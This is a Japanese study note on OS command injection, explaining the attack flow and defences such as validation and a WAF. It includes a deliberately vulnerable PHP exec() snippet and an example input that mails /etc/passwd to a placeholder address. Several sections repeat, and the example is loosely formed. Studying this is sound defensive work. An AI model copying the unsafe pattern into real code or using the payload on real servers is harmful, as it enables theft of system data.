セキュリティ攻撃 OSコマンドインジェクション
#セキュリティ攻撃
参考:OSコマンドインジェクションの仕組みとその対策 | セキュリティ対策 | CyberSecurityTIMES
OSコマンドいジェクションとは
ユーザーからのデータ・数値の入力を受け付けるアプリケーションにおいて、不正なOS命令文を紛れ込ませる攻撃手法。
OSコマンドインジェクションが成功すると、、、
そのサーバの情報漏洩やデータ改ざん・破壊、ウイルス感染などが起きてしまう
OSコマンドインジェクションの流れ
① 攻撃者がWebアプリケーションに攻撃パターンを入力
② Webアプリケーション内で入力値とともにコマンド文字列が組み立てられる
③ コマンド文字列がWebサーバのシェルにおいて解釈されて実行される
④ 開発者が意図しないコマンドが実行される
どういう状況で危険?
ユーザーから入力を受け取るWebアプリケーション
アプリケーション内で、別プログラムを呼び出したり、内部シェルやOSコマンドを実行してる
防ぐための対策は?
1. プログラム内でOSコマンドを実行するような処理を極力書かない
2. やむ終えずOSコマンドを書いてしまう場合は、バリデーションをしっかり行う
3. WAFを導入する
OSコマンドいジェクションとは
ユーザーからのデータ・数値の入力を受け付けるアプリケーションにおいて、不正なOS命令文を紛れ込ませる攻撃手法。
OSコマンドインジェクションが成功すると、、、
そのサーバの情報漏洩やデータ改ざん・破壊、ウイルス感染などが起きてしまう
OSコマンドインジェクションの流れ
① 攻撃者がWebアプリケーションに攻撃パターンを入力
② Webアプリケーション内で入力値とともにコマンド文字列が組み立てられる
③ コマンド文字列がWebサーバのシェルにおいて解釈されて実行される
④ 開発者が意図しないコマンドが実行される
OSコマンドインジェクションの具体例
PHPでWebアプリケーションが作られてるとする。
そして、以下のようなプログラムがあるとする。
ユーザーから受け取ったデータをOSコマンド実行に利用してる。
code: sample.php
$address = $_POST‘address’;
$message_file = “/var/data/aaa.txt”;
$rtn = exec('mail -s “タイトル” ’.$address.’< ‘.$message_file);
ここで...攻撃の例
$addressにmail -s “タイトル” xxx@example.com < /etc/passwdと入力されたとする
そうなると以下のようなコマンドが実行される
$ mail -s “タイトル” xxx@example.com < /etc/passwd
/etc/passwordという最も機密な情報が攻撃者に送られる。
memo.icon
これは、がっつりOSコマンドを実行するプログラムがあるわかりやすい例となってる。
他にもOSコマンドを裏で利用してるような関数を利用する場合には注意が必要。
その関数が脆弱性を持ってたら、同じようにコマンドインジェクションが成立してしまう恐れがある。
対策としては
1. プログラム内でOSコマンドを実行するような処理を極力書かない
これが一番安全。裏でコマンド実行されてて気付かない、は仕方ないが。
それでも、できる限り注意を払うことが大事
2. やむ終えずOSコマンドを書いてしまう場合は、バリデーションをしっかり行う
その関数に与える入力値のバリデーションをしっかり行っておく。
3. WAFを導入する
OSコマンドを打ってそうなリクエストは見つけ次第遮断してくれる。
ただ、システムの稼働コストも上がるので、そこはバランスを取った方がいい。